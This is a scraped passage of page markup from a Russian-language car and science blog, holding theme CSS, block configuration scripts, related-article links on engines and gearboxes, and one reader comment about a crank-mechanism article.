tdb-post-prev"><span>袩褉械写褘写褍褖邪褟 褋褌邪褌褜褟</span><div class="td-module-container"><div class="next-prev-title"><a href="https://www.sciencedebate2008.com/rabota-dvigatelya-dvigatelya-vnutrennogo-sgoraniya-ustroystvo-i-printsip-deystviya/">袪邪斜芯褌邪 褔械褌褘褉械褏褌邪泻褌薪芯谐芯 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 &#8212; 褍褋褌褉芯泄褋褌胁芯 懈 锌褉懈薪褑懈锌 写械泄褋褌胁懈褟</a></div></div></div><div class="tdb-next-post tdb-next-post-bg tdb-post-next"><span>小谢械写褍褞褖邪褟 褋褌邪褌褜褟</span><div class="td-module-container"><div class="next-prev-title"><a href="https://www.sciencedebate2008.com/the-scientific-discoveries-of-the-xx-century/">袙械谢懈泻懈械 薪邪褍褔薪褘械 芯褌泻褉褘褌懈褟 XX 胁械泻邪, 褌芯锌 25</a></div></div></div></div></div><div class="td_block_wrap td_flex_block_1 tdi_74 td_with_ajax_pagination td-pb-border-top td_block_template_1 td_flex_block" data-td-block-uid="tdi_74" > <style></style> <style>.tdi_74 .td-image-wrap{padding-bottom:70%}.tdi_74 .entry-thumb{background-position:center 50%}.tdi_74 .td-module-container{flex-direction:column;border-color:#eaeaea!important}.tdi_74 .td-image-container{display:block;order:0}.ie10 .tdi_74 .td-module-meta-info,.ie11 .tdi_74 .td-module-meta-info{flex:auto}body .tdi_74 .td-favorite{font-size:36px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.2)}.tdi_74 .td-module-meta-info{border-color:#eaeaea}.tdi_74 .td_module_wrap{width:33.33333333%;float:left;padding-left:10px;padding-right:10px;padding-bottom:10px;margin-bottom:10px}.rtl .tdi_74 .td_module_wrap{float:right}.tdi_74 .td_block_inner{margin-left:-10px;margin-right:-10px}.tdi_74 .td-module-container:before{bottom:-10px;border-color:#eaeaea}.tdi_74 .td-post-vid-time{display:block}.tdi_74 .td-post-category:not(.td-post-extra-category){display:inline-block}.tdi_74 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_74 .td-excerpt{display:none;column-count:1;column-gap:48px}.tdi_74 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_74 .td-read-more{display:none}.tdi_74 .td-author-date{display:inline}.tdi_74 .td-post-author-name{display:none}.tdi_74 .td-post-date,.tdi_74 .td-post-author-name span{display:none}.tdi_74 .entry-review-stars{display:inline-block}.tdi_74 .td-icon-star,.tdi_74 .td-icon-star-empty,.tdi_74 .td-icon-star-half{font-size:15px}.tdi_74 .td-module-comments{display:none}.tdi_74 .td_module_wrap:nth-child(3n+1){clear:both}.tdi_74 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0;padding-bottom:0}.tdi_74 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none}.tdi_74 .entry-title{font-size:13px!important;line-height:1.4!important;font-weight:500!important}html:not([class*='ie']) .tdi_74 .td-module-container:hover .entry-thumb:before{opacity:0}@media (min-width:1019px) and (max-width:1140px){.tdi_74 .td_module_wrap{padding-bottom:10px;margin-bottom:10px}.tdi_74 .td-module-container:before{bottom:-10px}.tdi_74 .td_module_wrap{clear:none!important;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_74 .td_module_wrap:nth-child(3n+1){clear:both!important}.tdi_74 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0!important;padding-bottom:0!important}.tdi_74 .td_module_wrap .td-module-container:before{display:block!important}.tdi_74 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none!important}}@media (min-width:768px) and (max-width:1018px){.tdi_74 .td_module_wrap{padding-left:7.5px;padding-right:7.5px}.tdi_74 .td_block_inner{margin-left:-7.5px;margin-right:-7.5px}.tdi_74 .td_module_wrap{padding-bottom:7.5px;margin-bottom:7.5px;clear:none!important;padding-bottom:7.5px!important;margin-bottom:7.5px!important}.tdi_74 .td-module-container:before{bottom:-7.5px}.tdi_74 .td-video-play-ico{width:24px;height:24px;font-size:24px}.tdi_74 .td_module_wrap:nth-child(3n+1){clear:both!important}.tdi_74 .td_module_wrap:nth-last-child(-n+3){margin-bottom:0!important;padding-bottom:0!important}.tdi_74 .td_module_wrap .td-module-container:before{display:block!important}.tdi_74 .td_module_wrap:nth-last-child(-n+3) .td-module-container:before{display:none!important}.tdi_74 .entry-title{font-size:12px!important}}@media (max-width:767px){.tdi_74 .td-image-container{flex:0 0 30%;width:30%}.ie10 .tdi_74 .td-image-container,.ie11 .tdi_74 .td-image-container{flex:0 0 auto}.tdi_74 .td-module-container{flex-direction:row}.tdi_74 .td-image-container{display:block;order:0}.ie10 .tdi_74 .td-module-meta-info,.ie11 .tdi_74 .td-module-meta-info{flex:1}.tdi_74 .td-module-meta-info{margin:0 0 0 16px;padding:0px}.tdi_74 .td_module_wrap{width:100%;float:left;padding-left:7.5px;padding-right:7.5px;padding-bottom:13px;margin-bottom:13px;padding-bottom:13px!important;margin-bottom:13px!important}.rtl .tdi_74 .td_module_wrap{float:right}.tdi_74 .td_block_inner{margin-left:-7.5px;margin-right:-7.5px}.tdi_74 .td-module-container:before{bottom:-13px}.tdi_74 .td-video-play-ico{width:24px;height:24px;font-size:24px}.tdi_74 .td-post-date,.tdi_74 .td-post-author-name span{display:inline-block}.tdi_74 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_74 .td_module_wrap .td-module-container:before{display:block!important}.tdi_74 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_74 .entry-title{margin:0 0 6px 0;font-size:14px!important}}</style><script>var block_tdi_74 = new tdBlock(); block_tdi_74.id = "tdi_74"; block_tdi_74.atts = '{"title_tag":"div","modules_on_row":"eyJhbGwiOiIzMy4zMzMzMzMzMyUiLCJwaG9uZSI6IjEwMCUifQ==","limit":"3","modules_category":"image","show_btn":"none","show_excerpt":"none","ajax_pagination":"next_prev","sort":"","category_id":"_related_cat","f_title_font_size":"eyJwaG9uZSI6IjE0IiwiYWxsIjoiMTMiLCJwb3J0cmFpdCI6IjEyIn0=","f_title_font_line_height":"eyJwaG9uZSI6IjEuNCIsImFsbCI6IjEuNCJ9","modules_gap":"eyJhbGwiOiIyMCIsInBvcnRyYWl0IjoiMTUiLCJwaG9uZSI6IjE1In0=","show_com":"none","show_date":"eyJhbGwiOiJub25lIiwicGhvbmUiOiJpbmxpbmUtYmxvY2sifQ==","show_author":"none","image_height":"70","f_title_font_weight":"500","all_modules_space":"eyJhbGwiOiIyMCIsImxhbmRzY2FwZSI6IjIwIiwicG9ydHJhaXQiOiIxNSIsInBob25lIjoiMjYifQ==","image_floated":"eyJwaG9uZSI6ImZsb2F0X2xlZnQifQ==","image_width":"eyJwaG9uZSI6IjMwIn0=","meta_info_align":"","meta_margin":"eyJwaG9uZSI6IjAgMCAwIDE2cHgifQ==","meta_padding":"eyJwaG9uZSI6IjAifQ==","video_icon":"eyJwb3J0cmFpdCI6IjI0IiwicGhvbmUiOiIyNCJ9","image_size":"td_485x360","art_title":"eyJwaG9uZSI6IjAgMCA2cHggMCJ9","custom_title":"\u041f\u043e\u0445\u043e\u0436\u0438\u0435 \u0437\u0430\u043f\u0438\u0441\u0438","block_type":"td_flex_block_1","separator":"","custom_url":"","block_template_id":"","mc1_tl":"","mc1_title_tag":"","mc1_el":"","post_ids":"-16606","taxonomies":"","category_ids":"","in_all_terms":"","tag_slug":"","autors_id":"","installed_post_types":"","include_cf_posts":"","exclude_cf_posts":"","linked_posts":"","favourite_only":"","offset":"","open_in_new_window":"","show_modified_date":"","time_ago":"","time_ago_add_txt":"ago","time_ago_txt_pos":"","review_source":"","el_class":"","td_query_cache":"","td_query_cache_expiration":"","td_ajax_filter_type":"","td_ajax_filter_ids":"","td_filter_default_txt":"All","td_ajax_preloading":"","container_width":"","m_padding":"","modules_border_size":"","modules_border_style":"","modules_border_color":"#eaeaea","modules_border_radius":"","modules_divider":"","modules_divider_color":"#eaeaea","h_effect":"","image_alignment":"50","image_radius":"","hide_image":"","show_favourites":"","fav_size":"2","fav_space":"","fav_ico_color":"","fav_ico_color_h":"","fav_bg":"","fav_bg_h":"","fav_shadow_shadow_header":"","fav_shadow_shadow_title":"Shadow","fav_shadow_shadow_size":"","fav_shadow_shadow_offset_horizontal":"","fav_shadow_shadow_offset_vertical":"","fav_shadow_shadow_spread":"","fav_shadow_shadow_color":"","video_popup":"yes","video_rec":"","spot_header":"","video_rec_title":"","video_rec_color":"","video_rec_disable":"","autoplay_vid":"yes","show_vid_t":"block","vid_t_margin":"","vid_t_padding":"","video_title_color":"","video_title_color_h":"","video_bg":"","video_overlay":"","vid_t_color":"","vid_t_bg_color":"","f_vid_title_font_header":"","f_vid_title_font_title":"Video pop-up article title","f_vid_title_font_settings":"","f_vid_title_font_family":"","f_vid_title_font_size":"","f_vid_title_font_line_height":"","f_vid_title_font_style":"","f_vid_title_font_weight":"","f_vid_title_font_transform":"","f_vid_title_font_spacing":"","f_vid_title_":"","f_vid_time_font_title":"Video duration text","f_vid_time_font_settings":"","f_vid_time_font_family":"","f_vid_time_font_size":"","f_vid_time_font_line_height":"","f_vid_time_font_style":"","f_vid_time_font_weight":"","f_vid_time_font_transform":"","f_vid_time_font_spacing":"","f_vid_time_":"","meta_info_horiz":"layout-default","meta_width":"","meta_space":"","art_btn":"","meta_info_border_size":"","meta_info_border_style":"","meta_info_border_color":"#eaeaea","meta_info_border_radius":"","modules_category_margin":"","modules_category_padding":"","modules_cat_border":"","modules_category_radius":"0","show_cat":"inline-block","modules_extra_cat":"","author_photo":"","author_photo_size":"","author_photo_space":"","author_photo_radius":"","show_review":"inline-block","review_space":"","review_size":"2.5","review_distance":"","art_excerpt":"","excerpt_col":"1","excerpt_gap":"","excerpt_middle":"","excerpt_inline":"","show_audio":"block","hide_audio":"","art_audio":"","art_audio_size":"1.5","btn_title":"","btn_margin":"","btn_padding":"","btn_border_width":"","btn_radius":"","pag_space":"","pag_padding":"","pag_border_width":"","pag_border_radius":"","prev_tdicon":"","next_tdicon":"","pag_icons_size":"","f_header_font_header":"","f_header_font_title":"Block header","f_header_font_settings":"","f_header_font_family":"","f_header_font_size":"","f_header_font_line_height":"","f_header_font_style":"","f_header_font_weight":"","f_header_font_transform":"","f_header_font_spacing":"","f_header_":"","f_ajax_font_title":"Ajax categories","f_ajax_font_settings":"","f_ajax_font_family":"","f_ajax_font_size":"","f_ajax_font_line_height":"","f_ajax_font_style":"","f_ajax_font_weight":"","f_ajax_font_transform":"","f_ajax_font_spacing":"","f_ajax_":"","f_more_font_title":"Load more button","f_more_font_settings":"","f_more_font_family":"","f_more_font_size":"","f_more_font_line_height":"","f_more_font_style":"","f_more_font_weight":"","f_more_font_transform":"","f_more_font_spacing":"","f_more_":"","f_title_font_header":"","f_title_font_title":"Article title","f_title_font_settings":"","f_title_font_family":"","f_title_font_style":"","f_title_font_transform":"","f_title_font_spacing":"","f_title_":"","f_cat_font_title":"Article category tag","f_cat_font_settings":"","f_cat_font_family":"","f_cat_font_size":"","f_cat_font_line_height":"","f_cat_font_style":"","f_cat_font_weight":"","f_cat_font_transform":"","f_cat_font_spacing":"","f_cat_":"","f_meta_font_title":"Article meta info","f_meta_font_settings":"","f_meta_font_family":"","f_meta_font_size":"","f_meta_font_line_height":"","f_meta_font_style":"","f_meta_font_weight":"","f_meta_font_transform":"","f_meta_font_spacing":"","f_meta_":"","f_ex_font_title":"Article excerpt","f_ex_font_settings":"","f_ex_font_family":"","f_ex_font_size":"","f_ex_font_line_height":"","f_ex_font_style":"","f_ex_font_weight":"","f_ex_font_transform":"","f_ex_font_spacing":"","f_ex_":"","f_btn_font_title":"Article read more button","f_btn_font_settings":"","f_btn_font_family":"","f_btn_font_size":"","f_btn_font_line_height":"","f_btn_font_style":"","f_btn_font_weight":"","f_btn_font_transform":"","f_btn_font_spacing":"","f_btn_":"","mix_color":"","mix_type":"","fe_brightness":"1","fe_contrast":"1","fe_saturate":"1","mix_color_h":"","mix_type_h":"","fe_brightness_h":"1","fe_contrast_h":"1","fe_saturate_h":"1","m_bg":"","color_overlay":"","shadow_shadow_header":"","shadow_shadow_title":"Module Shadow","shadow_shadow_size":"","shadow_shadow_offset_horizontal":"","shadow_shadow_offset_vertical":"","shadow_shadow_spread":"","shadow_shadow_color":"","title_txt":"","title_txt_hover":"","all_underline_height":"","all_underline_color":"","cat_bg":"","cat_bg_hover":"","cat_txt":"","cat_txt_hover":"","cat_border":"","cat_border_hover":"","meta_bg":"","author_txt":"","author_txt_hover":"","date_txt":"","ex_txt":"","com_bg":"","com_txt":"","rev_txt":"","audio_btn_color":"","audio_time_color":"","audio_bar_color":"","audio_bar_curr_color":"","shadow_m_shadow_header":"","shadow_m_shadow_title":"Meta info shadow","shadow_m_shadow_size":"","shadow_m_shadow_offset_horizontal":"","shadow_m_shadow_offset_vertical":"","shadow_m_shadow_spread":"","shadow_m_shadow_color":"","btn_bg":"","btn_bg_hover":"","btn_txt":"","btn_txt_hover":"","btn_border":"","btn_border_hover":"","pag_text":"","pag_h_text":"","pag_bg":"","pag_h_bg":"","pag_border":"","pag_h_border":"","ajax_pagination_next_prev_swipe":"","ajax_pagination_infinite_stop":"","css":"","tdc_css":"","td_column_number":2,"header_color":"","color_preset":"","border_top":"","class":"tdi_74","tdc_css_class":"tdi_74","tdc_css_class_style":"tdi_74_rand_style","live_filter":"cur_post_same_categories","live_filter_cur_post_id":16606,"live_filter_cur_post_parent_id":0}'; block_tdi_74.td_column_number = "2"; block_tdi_74.block_type = "td_flex_block_1"; block_tdi_74.post_count = "3"; block_tdi_74.found_posts = "49"; block_tdi_74.header_color = ""; block_tdi_74.ajax_pagination_infinite_stop = ""; block_tdi_74.max_num_pages = "17"; tdBlocksArray.push(block_tdi_74); </script><div class="td-block-title-wrap"><div class="block-title td-block-title"><span class="td-pulldown-size">袩芯褏芯卸懈械 蟹邪锌懈褋懈</span></div></div><div id=tdi_74 class="td_block_inner td-mc1-wrap"> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-image"> <div class="td-image-container"> <a href="https://www.sciencedebate2008.com/category/auto/" class="td-post-category">袗胁褌芯屑芯斜懈谢懈</a> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/new-audi-armored-cars/" rel="bookmark" class="td-image-wrap " title="袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/new-armored-audi-a8.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/new-audi-armored-cars/" rel="bookmark" title="袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security">袘褉芯薪懈褉芯胁邪薪薪褘械 邪胁褌芯屑芯斜懈谢懈 Audi A8 L Security</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T12:28:15+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-image"> <div class="td-image-container"> <a href="https://www.sciencedebate2008.com/category/auto/" class="td-post-category">袗胁褌芯屑芯斜懈谢懈</a> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/rabota-dvigatelya-dvigatelya-vnutrennogo-sgoraniya-ustroystvo-i-printsip-deystviya/" rel="bookmark" class="td-image-wrap " title="袪邪斜芯褌邪 褔械褌褘褉械褏褌邪泻褌薪芯谐芯 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 &#8212; 褍褋褌褉芯泄褋褌胁芯 懈 锌褉懈薪褑懈锌 写械泄褋褌胁懈褟" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/rabota-dvigatelya-dvigatelya-vnutrennogo-sgoraniya-ustroystvo-i-printsip-deystviya.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/rabota-dvigatelya-dvigatelya-vnutrennogo-sgoraniya-ustroystvo-i-printsip-deystviya/" rel="bookmark" title="袪邪斜芯褌邪 褔械褌褘褉械褏褌邪泻褌薪芯谐芯 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 &#8212; 褍褋褌褉芯泄褋褌胁芯 懈 锌褉懈薪褑懈锌 写械泄褋褌胁懈褟">袪邪斜芯褌邪 褔械褌褘褉械褏褌邪泻褌薪芯谐芯 写胁懈谐邪褌械谢褟 胁薪褍褌褉械薪薪械谐芯 褋谐芯褉邪薪懈褟 &#8212; 褍褋褌褉芯泄褋褌胁芯 懈 锌褉懈薪褑懈锌 写械泄褋褌胁懈褟</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T11:42:54+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> <div class="td_module_flex td_module_flex_1 td_module_wrap td-animation-stack td-cpt-post"> <div class="td-module-container td-category-pos-image"> <div class="td-image-container"> <a href="https://www.sciencedebate2008.com/category/auto/" class="td-post-category">袗胁褌芯屑芯斜懈谢懈</a> <div class="td-module-thumb"><a href="https://www.sciencedebate2008.com/kak-rabotayet-akpp-video-razborki-i-obuchayushchaya-3d-animatsiya/" rel="bookmark" class="td-image-wrap " title="袣邪泻 褉邪斜芯褌邪械褌 袗袣袩袩 &#8212; 胁懈写械芯 褉邪蟹斜芯褉泻懈 懈 芯斜褍褔邪褞褖懈械 3D 邪薪懈屑邪褑懈懈" ><span class="entry-thumb td-thumb-css" data-type="css_image" data-img-url="https://www.sciencedebate2008.com/wp-content/uploads/kak-rabotayet-akpp-na-primere-allison-1000.jpg" ></span></a></div> </div> <div class="td-module-meta-info"> <h3 class="entry-title td-module-title"><a href="https://www.sciencedebate2008.com/kak-rabotayet-akpp-video-razborki-i-obuchayushchaya-3d-animatsiya/" rel="bookmark" title="袣邪泻 褉邪斜芯褌邪械褌 袗袣袩袩 &#8212; 胁懈写械芯 褉邪蟹斜芯褉泻懈 懈 芯斜褍褔邪褞褖懈械 3D 邪薪懈屑邪褑懈懈">袣邪泻 褉邪斜芯褌邪械褌 袗袣袩袩 &#8212; 胁懈写械芯 褉邪蟹斜芯褉泻懈 懈 芯斜褍褔邪褞褖懈械 3D 邪薪懈屑邪褑懈懈</a></h3> <div class="td-editor-date"> <span class="td-author-date"> <span class="td-post-date"><time class="entry-date updated td-module-date" datetime="2024-08-26T11:29:30+00:00" >袗胁谐 26, 2024</time></span> </span> </div> </div> </div> </div> </div><div class="td-next-prev-wrap"><a href="#" class="td-ajax-prev-page ajax-page-disabled" aria-label="prev-page" id="prev-page-tdi_74" data-td_block_id="tdi_74"><i class="td-next-prev-icon td-icon-font td-icon-menu-left"></i></a><a href="#" class="td-ajax-next-page" aria-label="next-page" id="next-page-tdi_74" data-td_block_id="tdi_74"><i class="td-next-prev-icon td-icon-font td-icon-menu-right"></i></a></div></div> <script> var tdb_login_sing_in_shortcode="on"; </script> <div class="td_block_wrap tdb_single_comments tdi_75 tdb-comm-layout1 td-pb-border-top td_block_template_1" data-td-block-uid="tdi_75" > <style></style> <style>.tdb_single_comments input[type=text]{min-height:34px;height:auto}.tdb_single_comments .comments,.tdb_single_comments .comment-respond:last-child,.tdb_single_comments .form-submit{margin-bottom:0}.is-visually-hidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.tdb-comm-layout3 form,.tdb-comm-layout5 form{display:flex;flex-wrap:wrap}.tdb-comm-layout3 .td-form-comment,.tdb-comm-layout5 .td-form-comment,.tdb-comm-layout3 .form-submit,.tdb-comm-layout5 .form-submit{flex:0 0 100%;order:1}.tdb-comm-layout3 .td-form-author,.tdb-comm-layout3 .td-form-email,.tdb-comm-layout3 .td-form-url{flex:0 0 32%}.tdb-comm-layout5 .td-form-author,.tdb-comm-layout5 .td-form-email{flex:0 0 49%}.tdb-comm-layout5 .td-form-url{flex:0 0 100%}.tdb-comm-leave_reply_top .comments{display:flex;flex-direction:column}.tdb-comm-leave_reply_top .td-comments-title{order:0;margin-bottom:14px}.tdb-comm-leave_reply_top .comment-respond .form-submit{order:1;margin-bottom:21px}.tdb-comm-leave_reply_top .comment-list{order:2}.tdb-comm-leave_reply_top .comment-pagination{order:3}.tdi_75 .comment-link{display:inline-block}.tdi_75 .comment{border-bottom-style:dashed}.tdi_75 .comment .children{border-top-style:dashed}@media (min-width:767px){.tdb-comm-layout2 form,.tdb-comm-layout4 form{margin:0 -10px}.tdb-comm-layout2 .logged-in-as,.tdb-comm-layout4 .logged-in-as,.tdb-comm-layout2 .comment-form-input-wrap,.tdb-comm-layout4 .comment-form-input-wrap,.tdb-comm-layout2 .form-submit,.tdb-comm-layout4 .form-submit,.tdb-comm-layout2 .comment-respond p,.tdb-comm-layout4 .comment-respond p{padding:0 10px}.tdb-comm-layout2 .td-form-author,.tdb-comm-layout2 .td-form-email{float:left;width:33.3333%}.tdb-comm-layout2 .td-form-url{width:33.3333%}.tdb-comm-layout2 .td-form-url{float:left}.tdb-comm-layout4 .td-form-author,.tdb-comm-layout4 .td-form-email{float:left;width:50%}.tdb-comm-layout3 .td-form-author,.tdb-comm-layout5 .td-form-author,.tdb-comm-layout3 .td-form-email{margin-right:2%}}@media (max-width:767px){.tdb-comm-layout3 .td-form-author,.tdb-comm-layout3 .td-form-email,.tdb-comm-layout3 .td-form-url,.tdb-comm-layout5 .td-form-author,.tdb-comm-layout5 .td-form-email{flex:0 0 100%}}</style><div class="tdb-block-inner td-fix-index"><div class="comments" id="comments"><div class="td-comments-title-wrap td_block_template_1"><h4 class="td-comments-title block-title"><span>1 袣袨袦袦袝袧孝袗袪袠袡</span></h4></div> <ol class="comment-list"> <li class="comment " id="comment-47018"> <article> <footer> <img alt='' src='https://secure.gravatar.com/avatar/154642d6476c9905282575bf12a7d3e2?s=50&#038;d=mm&#038;r=g' srcset='https://secure.gravatar.com/avatar/154642d6476c9905282575bf12a7d3e2?s=100&#038;d=mm&#038;r=g 2x' class='avatar avatar-50 photo' height='50' width='50' loading='lazy' decoding='async'/> <cite>袩械褌褉 袪械褕械褌薪懈泻芯胁</cite> <a class="comment-link" href="#comment-47018"> <time pubdate="1559630608"> 袠褞薪 4, 2019 胁 6:43 写锌</time> </a> </footer> <div class="comment-content"> <p>袧械 褍写芯斜薪芯 胁 锌谢邪薪械 薪邪谐谢褟写薪芯褋褌懈 褋芯褋褌邪胁薪褘褏 褔邪褋褌械泄 胁 褋褌邪褌褜械! 袩芯褟褋薪械薪懈械 泻 褎芯褌芯 褋芯褋褌邪胁薪褘褏 褔邪褋褌械泄 泻褉懈胁芯褕懈锌薪芯-褕邪褌褍薪薪芯谐芯 屑械褏邪薪懈蟹屑邪 薪邪褏芯写懈褌褋褟 芯褌写械谢褜薪芯 泻 褋褏械屑邪屑. 袪械泻芯屑械薪写褍褞 褋泻芯屑锌芯薪芯胁邪褌褜 褝褌懈 屑芯屑械薪褌褘!</p> </div> <div class="comment-meta" id="comment-47018"> <a rel="nofollow" class="comment-reply-login" href="https://www.sciencedebate2008.com/vhodite/?redirect_to=https%3A%2F%2Fwww.sciencedebate2008.com%2Fkrivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya%2F">袙芯泄写懈褌械, 褔褌芯斜褘 芯褋褌邪胁懈褌褜 泻芯屑屑械薪褌邪褉懈泄</a> </div> </article> </li><!-- #comment-## --> </ol> <div class="comment-pagination"> </div> <div id="respond" class="comment-respond"> <h3 id="reply-title" class="comment-reply-title">袨小孝袗袙鞋孝袝 袨孝袙袝孝 <small><a rel="nofollow" id="cancel-comment-reply-link" href="/krivoshipno-shatunnyy-mekhanizm-dvigatelya-vnutrennego-sgoraniya/#respond" style="display:none;">袨褌屑械薪懈褌褜 芯褌胁械褌</a></small></h3><p class="must-log-in td-login-comment"><a class="td-login-modal-js" data-effect="mpf-td-login-effect" href="#login-form">袙芯泄写懈褌械, 褔褌芯斜褘 芯褋褌邪胁懈褌褜 泻芯屑屑械薪褌邪褉懈泄</a></p> </div><!-- #respond --> </div></div></div></div></div><div class="vc_column tdi_77 wpb_column vc_column_container tdc-column td-pb-span4 td-is-sticky"> <style scoped>.tdi_77{vertical-align:baseline}.tdi_77>.wpb_wrapper,.tdi_77>.wpb_wrapper>.tdc-elements{display:block}.tdi_77>.wpb_wrapper>.tdc-elements{width:100%}.tdi_77>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_77>.wpb_wrapper{width:auto;height:auto}</style><div class="wpb_wrapper" data-sticky-offset="20" data-sticky-is-width-auto="W2ZhbHNlLGZhbHNlLGZhbHNlLGZhbHNlXQ=="><div class="td_block_wrap td_flex_block_1 tdi_78 td_with_ajax_pagination td-pb-border-top td_block_template_1 td_flex_block" data-td-block-uid="tdi_78" > <style></style> <style>.tdi_78 .td-image-wrap{padding-bottom:70%}.tdi_78 .entry-thumb{background-position:center 50%}.tdi_78 .td-image-container{flex:0 0 30%;width:30%;display:block;order:0}.ie10 .tdi_78 .td-image-container,.ie11 .tdi_78 .td-image-container{flex:0 0 auto}.tdi_78 .td-module-container{flex-direction:row;border-color:#eaeaea!important}.ie10 .tdi_78 .td-module-meta-info,.ie11 .tdi_78 .td-module-meta-info{flex:1}body .tdi_78 .td-favorite{font-size:36px;box-shadow:1px 1px 4px 0px rgba(0,0,0,0.2)}.tdi_78 .td-module-meta-info{padding:0 0 0 13px;border-color:#eaeaea}.tdi_78 .td_module_wrap{padding-left:20px;padding-right:20px;padding-bottom:15px;margin-bottom:15px}.tdi_78 .td_block_inner{margin-left:-20px;margin-right:-20px}.tdi_78 .td-module-container:before{bottom:-15px;border-color:#eaeaea}.tdi_78 .td-post-vid-time{display:block}.tdi_78 .td-post-category:not(.td-post-extra-category){display:none}.tdi_78 .td-author-photo .avatar{width:20px;height:20px;margin-right:6px;border-radius:50%}.tdi_78 .td-excerpt{display:none;column-count:1;column-gap:48px}.tdi_78 .td-audio-player{opacity:1;visibility:visible;height:auto;font-size:13px}.tdi_78 .td-read-more{display:none}.tdi_78 .td-author-date{display:inline}.tdi_78 .td-post-author-name{display:none}.tdi_78 .entry-review-stars{display:inline-block}.tdi_78 .td-icon-star,.tdi_78 .td-icon-star-empty,.tdi_78 .td-icon-star-half{font-size:15px}.tdi_78 .td-module-comments{display:none}.tdi_78 .td_module_wrap:nth-last-child(1){margin-bottom:0;padding-bottom:0}.tdi_78 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none}.tdi_78 .td-block-title a,.tdi_78 .td-block-title span{text-transform:uppercase!important}.tdi_78 .entry-title{font-size:14px!important;line-height:1.4!important;font-weight:500!important}html:not([class*='ie']) .tdi_78 .td-module-container:hover .entry-thumb:before{opacity:0}@media (min-width:1019px) and (max-width:1140px){.tdi_78 .td_module_wrap{padding-bottom:15px;margin-bottom:15px}.tdi_78 .td-module-container:before{bottom:-15px}.tdi_78 .td_module_wrap{padding-bottom:15px!important;margin-bottom:15px!important}.tdi_78 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_78 .td_module_wrap .td-module-container:before{display:block!important}.tdi_78 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}}@media (min-width:768px) and (max-width:1018px){.tdi_78 .td_module_wrap{width:100%;float:left}.rtl .tdi_78 .td_module_wrap{float:right}.tdi_78 .td_module_wrap{padding-left:10px;padding-right:10px;padding-bottom:10px;margin-bottom:10px;padding-bottom:10px!important;margin-bottom:10px!important}.tdi_78 .td_block_inner{margin-left:-10px;margin-right:-10px}.tdi_78 .td-module-container:before{bottom:-10px}.tdi_78 .td-post-date,.tdi_78 .td-post-author-name span{display:none}.tdi_78 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_78 .td_module_wrap .td-module-container:before{display:block!important}.tdi_78 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}.tdi_78 .entry-title{font-size:12px!important}}@media (max-width:767px){.tdi_78 .td-module-meta-info{padding:0 0 0 16px}.tdi_78 .td_module_wrap{width:100%;float:left;padding-bottom:15px;margin-bottom:15px;padding-bottom:15px!important;margin-bottom:15px!important}.rtl .tdi_78 .td_module_wrap{float:right}.tdi_78 .td-module-container:before{bottom:-15px}.tdi_78 .td_module_wrap:nth-last-child(1){margin-bottom:0!important;padding-bottom:0!important}.tdi_78 .td_module_wrap .td-module-container:before{display:block!important}.tdi_78 .td_module_wrap:nth-last-child(1) .td-module-container:before{display:none!important}}</style><script>var block_tdi_78 = new tdBlock(); block_tdi_78.id = "tdi_78"; block_tdi_78.atts = 